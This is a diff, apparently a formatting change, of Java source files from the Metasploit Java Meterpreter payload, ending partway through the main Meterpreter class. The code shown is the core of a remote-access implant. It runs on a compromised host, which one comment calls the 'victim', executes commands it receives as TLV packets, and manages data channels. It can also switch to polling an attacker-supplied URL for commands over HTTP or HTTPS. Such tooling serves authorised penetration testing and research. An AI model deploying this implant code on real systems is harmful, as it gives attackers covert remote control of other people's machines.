* A meterpreter channel. Channels are basically a collection of streams to interact with. Specialized subclasses of this class may handle special channels.
|
* A meterpreter channel. Channels are basically a collection of streams to interact with. Specialized subclasses of this class may handle special channels.
|
||||||
*
|
*
|
||||||
* @author mihi
|
* @author mihi
|
||||||
*/
|
*/
|
||||||
public class Channel {
|
public class Channel {
|
||||||
|
|
||||||
private final InputStream in;
|
private final InputStream in;
|
||||||
private final OutputStream out;
|
private final OutputStream out;
|
||||||
private final int id;
|
private final int id;
|
||||||
protected final Meterpreter meterpreter;
|
protected final Meterpreter meterpreter;
|
||||||
private boolean active = false, closed = false, waiting = false;
|
private boolean active = false, closed = false, waiting = false;
|
||||||
private byte[] toRead;
|
private byte[] toRead;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Create a new "generic" channel.
|
* Create a new "generic" channel.
|
||||||
*
|
*
|
||||||
* @param meterpreter
|
* @param meterpreter The meterpreter this channel should be assigned to.
|
||||||
* The meterpreter this channel should be assigned to.
|
* @param in Input stream of the channel
|
||||||
* @param in
|
* @param out Output stream of the channel, if any
|
||||||
* Input stream of the channel
|
*/
|
||||||
* @param out
|
public Channel(Meterpreter meterpreter, InputStream in, OutputStream out) {
|
||||||
* Output stream of the channel, if any
|
this.meterpreter = meterpreter;
|
||||||
*/
|
this.id = meterpreter.registerChannel(this);
|
||||||
public Channel(Meterpreter meterpreter, InputStream in, OutputStream out) {
|
this.in = in;
|
||||||
this.meterpreter = meterpreter;
|
this.out = out;
|
||||||
this.id = meterpreter.registerChannel(this);
|
new InteractThread(in).start();
|
||||||
this.in = in;
|
}
|
||||||
this.out = out;
|
|
||||||
new InteractThread(in).start();
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Close this channel and deregister it from the meterpreter.
|
* Close this channel and deregister it from the meterpreter.
|
||||||
*/
|
*/
|
||||||
public synchronized void close() throws IOException {
|
public synchronized void close() throws IOException {
|
||||||
in.close();
|
in.close();
|
||||||
if (out != null)
|
if (out != null)
|
||||||
out.close();
|
out.close();
|
||||||
meterpreter.channelClosed(id);
|
meterpreter.channelClosed(id);
|
||||||
active = false;
|
active = false;
|
||||||
closed = true;
|
closed = true;
|
||||||
notifyAll();
|
notifyAll();
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Check whether this channel is at end of file.
|
* Check whether this channel is at end of file.
|
||||||
*
|
* <p/>
|
||||||
* Note that even if this returns false, a subsequent read might return <code>null</code> for EOF, when the channel's state switches from "no data available" to EOF between the two calls.
|
* Note that even if this returns false, a subsequent read might return <code>null</code> for EOF, when the channel's state switches from "no data available" to EOF between the two calls.
|
||||||
*/
|
*/
|
||||||
public synchronized boolean isEOF() throws IOException {
|
public synchronized boolean isEOF() throws IOException {
|
||||||
if (active)
|
if (active)
|
||||||
throw new IllegalStateException("Cannot read; currently interacting with this channel");
|
throw new IllegalStateException("Cannot read; currently interacting with this channel");
|
||||||
// when we are just waiting to read the EOF, close it
|
// when we are just waiting to read the EOF, close it
|
||||||
if (waiting && toRead == null)
|
if (waiting && toRead == null)
|
||||||
close();
|
close();
|
||||||
return closed;
|
return closed;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Read at least one byte, and up to maxLength bytes from this stream.
|
* Read at least one byte, and up to maxLength bytes from this stream.
|
||||||
*
|
*
|
||||||
* @param maxLength
|
* @param maxLength The maximum number of bytes to read.
|
||||||
* The maximum number of bytes to read.
|
* @return The bytes read, or <code>null</code> if the end of the stream has been reached.
|
||||||
* @return The bytes read, or <code>null</code> if the end of the stream has been reached.
|
*/
|
||||||
*/
|
public synchronized byte[] read(int maxLength) throws IOException, InterruptedException {
|
||||||
public synchronized byte[] read(int maxLength) throws IOException, InterruptedException {
|
if (closed)
|
||||||
if (closed)
|
return null;
|
||||||
return null;
|
if (active)
|
||||||
if (active)
|
throw new IllegalStateException("Cannot read; currently interacting with this channel");
|
||||||
throw new IllegalStateException("Cannot read; currently interacting with this channel");
|
while (!waiting || (toRead != null && toRead.length == 0))
|
||||||
while (!waiting || (toRead != null && toRead.length == 0))
|
wait();
|
||||||
wait();
|
if (toRead == null)
|
||||||
if (toRead == null)
|
return null;
|
||||||
return null;
|
byte[] result = new byte[Math.min(toRead.length, maxLength)];
|
||||||
byte[] result = new byte[Math.min(toRead.length, maxLength)];
|
System.arraycopy(toRead, 0, result, 0, result.length);
|
||||||
System.arraycopy(toRead, 0, result, 0, result.length);
|
byte[] rest = new byte[toRead.length - result.length];
|
||||||
byte[] rest = new byte[toRead.length - result.length];
|
System.arraycopy(toRead, result.length, rest, 0, rest.length);
|
||||||
System.arraycopy(toRead, result.length, rest, 0, rest.length);
|
toRead = rest;
|
||||||
toRead = rest;
|
notifyAll();
|
||||||
notifyAll();
|
return result;
|
||||||
return result;
|
}
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Write length bytes from the start of data to this channel.
|
* Write length bytes from the start of data to this channel.
|
||||||
*
|
*
|
||||||
* @param data
|
* @param data The data to write
|
||||||
* The data to write
|
* @param length The length to write
|
||||||
* @param length
|
*/
|
||||||
* The length to write
|
public void write(byte[] data, int length, TLVPacket request) throws IOException {
|
||||||
*/
|
if (out == null)
|
||||||
public void write(byte[] data, int length, TLVPacket request) throws IOException {
|
throw new IOException("Channel does not have an output stream");
|
||||||
if (out == null)
|
out.write(data, 0, length);
|
||||||
throw new IOException("Channel does not have an output stream");
|
out.flush();
|
||||||
out.write(data, 0, length);
|
}
|
||||||
out.flush();
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get the ID of this channel.
|
* Get the ID of this channel.
|
||||||
*/
|
*/
|
||||||
public int getID() {
|
public int getID() {
|
||||||
return id;
|
return id;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Start interacting with this channel.
|
* Start interacting with this channel.
|
||||||
*/
|
*/
|
||||||
public synchronized void startInteract() {
|
public synchronized void startInteract() {
|
||||||
if (active)
|
if (active)
|
||||||
throw new IllegalStateException("Already interacting");
|
throw new IllegalStateException("Already interacting");
|
||||||
active = true;
|
active = true;
|
||||||
notifyAll();
|
notifyAll();
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Stop interacting with this channel.
|
* Stop interacting with this channel.
|
||||||
*/
|
*/
|
||||||
public synchronized void stopInteract() {
|
public synchronized void stopInteract() {
|
||||||
active = false;
|
active = false;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Called from the {@link InteractThread} to notify the meterpreter of new data available on this channel.
|
* Called from the {@link InteractThread} to notify the meterpreter of new data available on this channel.
|
||||||
*
|
*
|
||||||
* @param data
|
* @param data The new data available, or <code>null</code> if EOF has been reached.
|
||||||
* The new data available, or <code>null</code> if EOF has been reached.
|
*/
|
||||||
*/
|
protected synchronized void handleInteract(byte[] data) throws IOException, InterruptedException {
|
||||||
protected synchronized void handleInteract(byte[] data) throws IOException, InterruptedException {
|
while (waiting) {
|
||||||
while (waiting) {
|
wait();
|
||||||
wait();
|
}
|
||||||
}
|
toRead = data;
|
||||||
toRead = data;
|
waiting = true;
|
||||||
waiting = true;
|
notifyAll();
|
||||||
notifyAll();
|
while (!active && !closed && (toRead == null || toRead.length > 0))
|
||||||
while (!active && !closed && (toRead == null || toRead.length > 0))
|
wait();
|
||||||
wait();
|
if ((toRead == null || toRead.length > 0) && !closed) {
|
||||||
if ((toRead == null || toRead.length > 0) && !closed) {
|
TLVPacket tlv = new TLVPacket();
|
||||||
TLVPacket tlv = new TLVPacket();
|
tlv.add(TLVType.TLV_TYPE_CHANNEL_ID, getID());
|
||||||
tlv.add(TLVType.TLV_TYPE_CHANNEL_ID, getID());
|
String method;
|
||||||
String method;
|
if (toRead == null) {
|
||||||
if (toRead == null) {
|
method = "core_channel_close";
|
||||||
method = "core_channel_close";
|
close();
|
||||||
close();
|
} else {
|
||||||
} else {
|
method = "core_channel_write";
|
||||||
method = "core_channel_write";
|
tlv.add(TLVType.TLV_TYPE_CHANNEL_DATA, toRead);
|
||||||
tlv.add(TLVType.TLV_TYPE_CHANNEL_DATA, toRead);
|
tlv.add(TLVType.TLV_TYPE_LENGTH, toRead.length);
|
||||||
tlv.add(TLVType.TLV_TYPE_LENGTH, toRead.length);
|
}
|
||||||
}
|
meterpreter.writeRequestPacket(method, tlv);
|
||||||
meterpreter.writeRequestPacket(method, tlv);
|
}
|
||||||
}
|
waiting = false;
|
||||||
waiting = false;
|
notifyAll();
|
||||||
notifyAll();
|
}
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* A thread that polls the channel to provide information when interacting with this channel.
|
* A thread that polls the channel to provide information when interacting with this channel.
|
||||||
*/
|
*/
|
||||||
protected class InteractThread extends Thread {
|
protected class InteractThread extends Thread {
|
||||||
private final InputStream stream;
|
private final InputStream stream;
|
||||||
|
|
||||||
public InteractThread(InputStream stream) {
|
public InteractThread(InputStream stream) {
|
||||||
this.stream = stream;
|
this.stream = stream;
|
||||||
}
|
}
|
||||||
|
|
||||||
public void run() {
|
public void run() {
|
||||||
try {
|
try {
|
||||||
byte[] buffer = new byte[4096];
|
byte[] buffer = new byte[4096];
|
||||||
int len;
|
int len;
|
||||||
while ((len = stream.read(buffer)) != -1) {
|
while ((len = stream.read(buffer)) != -1) {
|
||||||
if (len == 0)
|
if (len == 0)
|
||||||
continue;
|
continue;
|
||||||
byte[] data = new byte[len];
|
byte[] data = new byte[len];
|
||||||
System.arraycopy(buffer, 0, data, 0, len);
|
System.arraycopy(buffer, 0, data, 0, len);
|
||||||
handleInteract(data);
|
handleInteract(data);
|
||||||
}
|
}
|
||||||
handleInteract(null);
|
handleInteract(null);
|
||||||
} catch (Throwable t) {
|
} catch (Throwable t) {
|
||||||
t.printStackTrace(meterpreter.getErrorStream());
|
t.printStackTrace(meterpreter.getErrorStream());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -10,122 +10,113 @@ import com.metasploit.meterpreter.command.UnsupportedJavaVersionCommand;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* A registry for supported commands. Extensions will register their commands here.
|
* A registry for supported commands. Extensions will register their commands here.
|
||||||
*
|
*
|
||||||
* @author mihi
|
* @author mihi
|
||||||
*/
|
*/
|
||||||
public class CommandManager {
|
public class CommandManager {
|
||||||
|
|
||||||
private final int javaVersion;
|
private final int javaVersion;
|
||||||
private Map/* <String,Command> */registeredCommands = new HashMap();
|
private Map/* <String,Command> */registeredCommands = new HashMap();
|
||||||
private Vector/* <String> */newCommands = new Vector();
|
private Vector/* <String> */newCommands = new Vector();
|
||||||
|
|
||||||
protected CommandManager() throws Exception {
|
protected CommandManager() throws Exception {
|
||||||
// get the API version, which might be different from the
|
// get the API version, which might be different from the
|
||||||
// VM version, especially on some application servers
|
// VM version, especially on some application servers
|
||||||
// (adapted from org.apache.tools.ant.util.JavaEnvUtils).
|
// (adapted from org.apache.tools.ant.util.JavaEnvUtils).
|
||||||
Class.forName("java.lang.Void");
|
Class.forName("java.lang.Void");
|
||||||
Class.forName("java.lang.ThreadLocal");
|
Class.forName("java.lang.ThreadLocal");
|
||||||
int apiVersion = ExtensionLoader.V1_2;
|
int apiVersion = ExtensionLoader.V1_2;
|
||||||
try {
|
try {
|
||||||
Class.forName("java.lang.StrictMath");
|
Class.forName("java.lang.StrictMath");
|
||||||
apiVersion = ExtensionLoader.V1_3;
|
apiVersion = ExtensionLoader.V1_3;
|
||||||
Class.forName("java.lang.CharSequence");
|
Class.forName("java.lang.CharSequence");
|
||||||
apiVersion = ExtensionLoader.V1_4;
|
apiVersion = ExtensionLoader.V1_4;
|
||||||
Class.forName("java.net.Proxy");
|
Class.forName("java.net.Proxy");
|
||||||
apiVersion = ExtensionLoader.V1_5;
|
apiVersion = ExtensionLoader.V1_5;
|
||||||
Class.forName("java.util.ServiceLoader");
|
Class.forName("java.util.ServiceLoader");
|
||||||
apiVersion = ExtensionLoader.V1_6;
|
apiVersion = ExtensionLoader.V1_6;
|
||||||
} catch (Throwable t) {
|
} catch (Throwable t) {
|
||||||
}
|
}
|
||||||
String javaversion = System.getProperty("java.version");
|
String javaversion = System.getProperty("java.version");
|
||||||
if (javaversion != null && javaversion.length() > 2) {
|
if (javaversion != null && javaversion.length() > 2) {
|
||||||
int vmVersion = javaversion.charAt(2) - '2' + ExtensionLoader.V1_2;
|
int vmVersion = javaversion.charAt(2) - '2' + ExtensionLoader.V1_2;
|
||||||
if (vmVersion >= ExtensionLoader.V1_2 && vmVersion < apiVersion)
|
if (vmVersion >= ExtensionLoader.V1_2 && vmVersion < apiVersion)
|
||||||
apiVersion = vmVersion;
|
apiVersion = vmVersion;
|
||||||
}
|
}
|
||||||
this.javaVersion = apiVersion;
|
this.javaVersion = apiVersion;
|
||||||
|
|
||||||
// load core commands
|
// load core commands
|
||||||
new com.metasploit.meterpreter.core.Loader().load(this);
|
new com.metasploit.meterpreter.core.Loader().load(this);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Register a command that can be executed on all Java versions (from 1.2 onward)
|
* Register a command that can be executed on all Java versions (from 1.2 onward)
|
||||||
*
|
*
|
||||||
* @param command
|
* @param command Name of the command
|
||||||
* Name of the command
|
* @param commandClass Class that implements the command
|
||||||
* @param commandClass
|
*/
|
||||||
* Class that implements the command
|
public void registerCommand(String command, Class commandClass) throws Exception {
|
||||||
*/
|
registerCommand(command, commandClass, ExtensionLoader.V1_2);
|
||||||
public void registerCommand(String command, Class commandClass) throws Exception {
|
}
|
||||||
registerCommand(command, commandClass, ExtensionLoader.V1_2);
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Register a command that can be executed only on some Java versions
|
* Register a command that can be executed only on some Java versions
|
||||||
*
|
*
|
||||||
* @param command
|
* @param command Name of the command
|
||||||
* Name of the command
|
* @param commandClass Stub class for generating the class name that implements the command
|
||||||
* @param commandClass
|
* @param version Minimum Java version
|
||||||
* Stub class for generating the class name that implements the command
|
*/
|
||||||
* @param version
|
public void registerCommand(String command, Class commandClass, int version) throws Exception {
|
||||||
* Minimum Java version
|
registerCommand(command, commandClass, version, version);
|
||||||
*/
|
}
|
||||||
public void registerCommand(String command, Class commandClass, int version) throws Exception {
|
|
||||||
registerCommand(command, commandClass, version, version);
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Register a command that can be executed only on some Java versions, and has two different implementations for different Java versions.
|
* Register a command that can be executed only on some Java versions, and has two different implementations for different Java versions.
|
||||||
*
|
*
|
||||||
* @param command
|
* @param command Name of the command
|
||||||
* Name of the command
|
* @param commandClass Stub class for generating the class name that implements the command
|
||||||
* @param commandClass
|
* @param version Minimum Java version
|
||||||
* Stub class for generating the class name that implements the command
|
* @param secondVersion Minimum Java version for the second implementation
|
||||||
* @param version
|
*/
|
||||||
* Minimum Java version
|
public void registerCommand(String command, Class commandClass, int version, int secondVersion) throws Exception {
|
||||||
* @param secondVersion
|
if (secondVersion < version)
|
||||||
* Minimum Java version for the second implementation
|
throw new IllegalArgumentException("secondVersion must be larger than version");
|
||||||
*/
|
if (javaVersion < version) {
|
||||||
public void registerCommand(String command, Class commandClass, int version, int secondVersion) throws Exception {
|
registeredCommands.put(command, new UnsupportedJavaVersionCommand(command, version));
|
||||||
if (secondVersion < version)
|
return;
|
||||||
throw new IllegalArgumentException("secondVersion must be larger than version");
|
}
|
||||||
if (javaVersion < version) {
|
if (javaVersion >= secondVersion)
|
||||||
registeredCommands.put(command, new UnsupportedJavaVersionCommand(command, version));
|
version = secondVersion;
|
||||||
return;
|
|
||||||
}
|
|
||||||
if (javaVersion >= secondVersion)
|
|
||||||
version = secondVersion;
|
|
||||||
|
|
||||||
if (version != ExtensionLoader.V1_2) {
|
if (version != ExtensionLoader.V1_2) {
|
||||||
commandClass = commandClass.getClassLoader().loadClass(commandClass.getName() + "_V1_" + (version - 10));
|
commandClass = commandClass.getClassLoader().loadClass(commandClass.getName() + "_V1_" + (version - 10));
|
||||||
}
|
}
|
||||||
Command cmd = (Command) commandClass.newInstance();
|
Command cmd = (Command) commandClass.newInstance();
|
||||||
registeredCommands.put(command, cmd);
|
registeredCommands.put(command, cmd);
|
||||||
newCommands.add(command);
|
newCommands.add(command);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get a command for the given name.
|
* Get a command for the given name.
|
||||||
*/
|
*/
|
||||||
public Command getCommand(String name) {
|
public Command getCommand(String name) {
|
||||||
Command cmd = (Command) registeredCommands.get(name);
|
Command cmd = (Command) registeredCommands.get(name);
|
||||||
if (cmd == null)
|
if (cmd == null)
|
||||||
cmd = NotYetImplementedCommand.INSTANCE;
|
cmd = NotYetImplementedCommand.INSTANCE;
|
||||||
return cmd;
|
return cmd;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Reset the list of commands loaded by the last core_loadlib call
|
* Reset the list of commands loaded by the last core_loadlib call
|
||||||
*/
|
*/
|
||||||
public void resetNewCommands() {
|
public void resetNewCommands() {
|
||||||
newCommands.clear();
|
newCommands.clear();
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Retrieves the list of commands loaded by the last core_loadlib call
|
* Retrieves the list of commands loaded by the last core_loadlib call
|
||||||
*/
|
*/
|
||||||
public String[] getNewCommands() {
|
public String[] getNewCommands() {
|
||||||
return (String[]) newCommands.toArray(new String[newCommands.size()]);
|
return (String[]) newCommands.toArray(new String[newCommands.size()]);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -2,22 +2,21 @@ package com.metasploit.meterpreter;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* A loader class for an extension. This loader must be referenced in the jar manifest's Extension-Loader entry.
|
* A loader class for an extension. This loader must be referenced in the jar manifest's Extension-Loader entry.
|
||||||
*
|
*
|
||||||
* @author mihi
|
* @author mihi
|
||||||
*/
|
*/
|
||||||
public interface ExtensionLoader {
|
public interface ExtensionLoader {
|
||||||
|
|
||||||
public static final int V1_2 = 12;
|
public static final int V1_2 = 12;
|
||||||
public static final int V1_3 = 13;
|
public static final int V1_3 = 13;
|
||||||
public static final int V1_4 = 14;
|
public static final int V1_4 = 14;
|
||||||
public static final int V1_5 = 15;
|
public static final int V1_5 = 15;
|
||||||
public static final int V1_6 = 16;
|
public static final int V1_6 = 16;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Load this extension.
|
* Load this extension.
|
||||||
*
|
*
|
||||||
* @param commandManager
|
* @param commandManager command manager to load commands into.
|
||||||
* command manager to load commands into.
|
*/
|
||||||
*/
|
public void load(CommandManager commandManager) throws Exception;
|
||||||
public void load(CommandManager commandManager) throws Exception;
|
|
||||||
}
|
}
|
||||||
|
@ -22,345 +22,327 @@ import com.metasploit.meterpreter.core.core_loadlib;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* Main meterpreter class. Responsible for keeping all the stuff together and for managing channels.
|
* Main meterpreter class. Responsible for keeping all the stuff together and for managing channels.
|
||||||
*
|
*
|
||||||
* @author mihi
|
* @author mihi
|
||||||
*/
|
*/
|
||||||
public class Meterpreter {
|
public class Meterpreter {
|
||||||
|
|
||||||
private static final int PACKET_TYPE_REQUEST = 0;
|
private static final int PACKET_TYPE_REQUEST = 0;
|
||||||
private static final int PACKET_TYPE_RESPONSE = 1;
|
private static final int PACKET_TYPE_RESPONSE = 1;
|
||||||
|
|
||||||
private List/* <Channel> */channels = new ArrayList();
|
private List/* <Channel> */channels = new ArrayList();
|
||||||
private final CommandManager commandManager;
|
private final CommandManager commandManager;
|
||||||
private final DataInputStream in;
|
private final DataInputStream in;
|
||||||
private final DataOutputStream out;
|
private final DataOutputStream out;
|
||||||
private final Random rnd = new Random();
|
private final Random rnd = new Random();
|
||||||
private final ByteArrayOutputStream errBuffer;
|
private final ByteArrayOutputStream errBuffer;
|
||||||
private final PrintStream err;
|
private final PrintStream err;
|
||||||
private final boolean loadExtensions;
|
private final boolean loadExtensions;
|
||||||
private List/* <byte[]> */tlvQueue = null;
|
private List/* <byte[]> */tlvQueue = null;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Initialize the meterpreter.
|
* Initialize the meterpreter.
|
||||||
*
|
*
|
||||||
* @param in
|
* @param in Input stream to read from
|
||||||
* Input stream to read from
|
* @param rawOut Output stream to write into
|
||||||
* @param rawOut
|
* @param loadExtensions Whether to load (as a {@link ClassLoader} would do) the extension jars; disable this if you want to use your debugger's edit-and-continue feature or if you do not want to update the jars after each build
|
||||||
* Output stream to write into
|
* @param redirectErrors Whether to redirect errors to the internal error buffer; disable this to see the errors on the victim's standard error stream
|
||||||
* @param loadExtensions
|
* @throws Exception
|
||||||
* Whether to load (as a {@link ClassLoader} would do) the extension jars; disable this if you want to use your debugger's edit-and-continue feature or if you do not want to update the jars after each build
|
*/
|
||||||
* @param redirectErrors
|
public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors) throws Exception {
|
||||||
* Whether to redirect errors to the internal error buffer; disable this to see the errors on the victim's standard error stream
|
this(in, rawOut, loadExtensions, redirectErrors, true);
|
||||||
* @throws Exception
|
}
|
||||||
*/
|
|
||||||
public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors) throws Exception {
|
|
||||||
this(in, rawOut, loadExtensions, redirectErrors, true);
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Initialize the meterpreter.
|
* Initialize the meterpreter.
|
||||||
*
|
*
|
||||||
* @param in
|
* @param in Input stream to read from
|
||||||
* Input stream to read from
|
* @param rawOut Output stream to write into
|
||||||
* @param rawOut
|
* @param loadExtensions Whether to load (as a {@link ClassLoader} would do) the extension jars; disable this if you want to use your debugger's edit-and-continue feature or if you do not want to update the jars after each build
|
||||||
* Output stream to write into
|
* @param redirectErrors Whether to redirect errors to the internal error buffer; disable this to see the errors on the victim's standard error stream
|
||||||
* @param loadExtensions
|
* @param beginExecution Whether to begin executing immediately
|
||||||
* Whether to load (as a {@link ClassLoader} would do) the extension jars; disable this if you want to use your debugger's edit-and-continue feature or if you do not want to update the jars after each build
|
* @throws Exception
|
||||||
* @param redirectErrors
|
*/
|
||||||
* Whether to redirect errors to the internal error buffer; disable this to see the errors on the victim's standard error stream
|
public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors, boolean beginExecution) throws Exception {
|
||||||
* @param beginExecution
|
this.loadExtensions = loadExtensions;
|
||||||
* Whether to begin executing immediately
|
this.in = in;
|
||||||
* @throws Exception
|
this.out = new DataOutputStream(rawOut);
|
||||||
*/
|
commandManager = new CommandManager();
|
||||||
public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors, boolean beginExecution) throws Exception {
|
channels.add(null); // main communication channel?
|
||||||
this.loadExtensions = loadExtensions;
|
if (redirectErrors) {
|
||||||
this.in = in;
|
errBuffer = new ByteArrayOutputStream();
|
||||||
this.out = new DataOutputStream(rawOut);
|
err = new PrintStream(errBuffer);
|
||||||
commandManager = new CommandManager();
|
} else {
|
||||||
channels.add(null); // main communication channel?
|
errBuffer = null;
|
||||||
if (redirectErrors) {
|
err = System.err;
|
||||||
errBuffer = new ByteArrayOutputStream();
|
}
|
||||||
err = new PrintStream(errBuffer);
|
if (beginExecution) {
|
||||||
} else {
|
startExecuting();
|
||||||
errBuffer = null;
|
}
|
||||||
err = System.err;
|
}
|
||||||
}
|
|
||||||
if (beginExecution) {
|
|
||||||
startExecuting();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void startExecuting() throws Exception {
|
|
||||||
try {
|
|
||||||
while (true) {
|
|
||||||
int len = in.readInt();
|
|
||||||
int ptype = in.readInt();
|
|
||||||
if (ptype != PACKET_TYPE_REQUEST)
|
|
||||||
throw new IOException("Invalid packet type: " + ptype);
|
|
||||||
TLVPacket request = new TLVPacket(in, len - 8);
|
|
||||||
TLVPacket response = executeCommand(request);
|
|
||||||
if (response != null)
|
|
||||||
writeTLV(PACKET_TYPE_RESPONSE, response);
|
|
||||||
}
|
|
||||||
} catch (EOFException ex) {
|
|
||||||
}
|
|
||||||
out.close();
|
|
||||||
synchronized (this) {
|
|
||||||
for (Iterator it = channels.iterator(); it.hasNext();) {
|
|
||||||
Channel c = (Channel) it.next();
|
|
||||||
if (c != null)
|
|
||||||
c.close();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
public void startExecuting() throws Exception {
|
||||||
* Write a TLV packet to this meterpreter's output stream.
|
try {
|
||||||
*
|
while (true) {
|
||||||
* @param type
|
int len = in.readInt();
|
||||||
* The type ({@link #PACKET_TYPE_REQUEST} or {@link #PACKET_TYPE_RESPONSE})
|
int ptype = in.readInt();
|
||||||
* @param packet
|
if (ptype != PACKET_TYPE_REQUEST)
|
||||||
* The packet to send
|
throw new IOException("Invalid packet type: " + ptype);
|
||||||
*/
|
TLVPacket request = new TLVPacket(in, len - 8);
|
||||||
private synchronized void writeTLV(int type, TLVPacket packet) throws IOException {
|
TLVPacket response = executeCommand(request);
|
||||||
byte[] data = packet.toByteArray();
|
if (response != null)
|
||||||
if (tlvQueue != null) {
|
writeTLV(PACKET_TYPE_RESPONSE, response);
|
||||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
}
|
||||||
DataOutputStream dos = new DataOutputStream(baos);
|
} catch (EOFException ex) {
|
||||||
dos.writeInt(data.length + 8);
|
}
|
||||||
dos.writeInt(type);
|
out.close();
|
||||||
dos.write(data);
|
synchronized (this) {
|
||||||
tlvQueue.add(baos.toByteArray());
|
for (Iterator it = channels.iterator(); it.hasNext(); ) {
|
||||||
return;
|
Channel c = (Channel) it.next();
|
||||||
}
|
if (c != null)
|
||||||
synchronized (out) {
|
c.close();
|
||||||
out.writeInt(data.length + 8);
|
}
|
||||||
out.writeInt(type);
|
}
|
||||||
out.write(data);
|
}
|
||||||
out.flush();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Execute a command request.
|
* Write a TLV packet to this meterpreter's output stream.
|
||||||
*
|
*
|
||||||
* @param request
|
* @param type The type ({@link #PACKET_TYPE_REQUEST} or {@link #PACKET_TYPE_RESPONSE})
|
||||||
* The request to execute
|
* @param packet The packet to send
|
||||||
* @return The response packet to send back
|
*/
|
||||||
*/
|
private synchronized void writeTLV(int type, TLVPacket packet) throws IOException {
|
||||||
private TLVPacket executeCommand(TLVPacket request) throws IOException {
|
byte[] data = packet.toByteArray();
|
||||||
TLVPacket response = new TLVPacket();
|
if (tlvQueue != null) {
|
||||||
String method = request.getStringValue(TLVType.TLV_TYPE_METHOD);
|
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||||
if (method.equals("core_switch_url")) {
|
DataOutputStream dos = new DataOutputStream(baos);
|
||||||
String url = request.getStringValue(TLVType.TLV_TYPE_STRING);
|
dos.writeInt(data.length + 8);
|
||||||
int sessionExpirationTimeout = request.getIntValue(TLVType.TLV_TYPE_UINT);
|
dos.writeInt(type);
|
||||||
int sessionCommunicationTimeout = request.getIntValue(TLVType.TLV_TYPE_LENGTH);
|
dos.write(data);
|
||||||
pollURL(new URL(url), sessionExpirationTimeout, sessionCommunicationTimeout);
|
tlvQueue.add(baos.toByteArray());
|
||||||
return null;
|
return;
|
||||||
} else if (method.equals("core_shutdown")) {
|
}
|
||||||
return null;
|
synchronized (out) {
|
||||||
}
|
out.writeInt(data.length + 8);
|
||||||
response.add(TLVType.TLV_TYPE_METHOD, method);
|
out.writeInt(type);
|
||||||
response.add(TLVType.TLV_TYPE_REQUEST_ID, request.getStringValue(TLVType.TLV_TYPE_REQUEST_ID));
|
out.write(data);
|
||||||
Command cmd = commandManager.getCommand(method);
|
out.flush();
|
||||||
int result;
|
}
|
||||||
try {
|
}
|
||||||
result = cmd.execute(this, request, response);
|
|
||||||
} catch (Throwable t) {
|
|
||||||
t.printStackTrace(getErrorStream());
|
|
||||||
result = Command.ERROR_FAILURE;
|
|
||||||
}
|
|
||||||
response.add(TLVType.TLV_TYPE_RESULT, result);
|
|
||||||
return response;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Poll from a given URL until a shutdown request is received.
|
|
||||||
* @param url
|
|
||||||
*/
|
|
||||||
private void pollURL(URL url, int sessionExpirationTimeout, int sessionCommunicationTimeout) throws IOException {
|
|
||||||
synchronized (this) {
|
|
||||||
tlvQueue = new ArrayList();
|
|
||||||
}
|
|
||||||
long deadline = System.currentTimeMillis() + sessionExpirationTimeout * 1000L;
|
|
||||||
long commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
|
|
||||||
final byte[] RECV = "RECV".getBytes("ISO-8859-1");
|
|
||||||
while (System.currentTimeMillis() < Math.min(commDeadline, deadline)) {
|
|
||||||
byte[] outPacket = null;
|
|
||||||
synchronized (this) {
|
|
||||||
if (tlvQueue.size() > 0)
|
|
||||||
outPacket = (byte[]) tlvQueue.remove(0);
|
|
||||||
}
|
|
||||||
TLVPacket request = null;
|
|
||||||
try {
|
|
||||||
URLConnection uc = url.openConnection();
|
|
||||||
if (url.getProtocol().equals("https")) {
|
|
||||||
// load the trust manager via reflection, to avoid loading
|
|
||||||
// it when it is not needed (it requires Sun Java 1.4+)
|
|
||||||
try {
|
|
||||||
Class.forName("com.metasploit.meterpreter.PayloadTrustManager").getMethod("useFor", new Class[] {URLConnection.class}).invoke(null, new Object[] {uc});
|
|
||||||
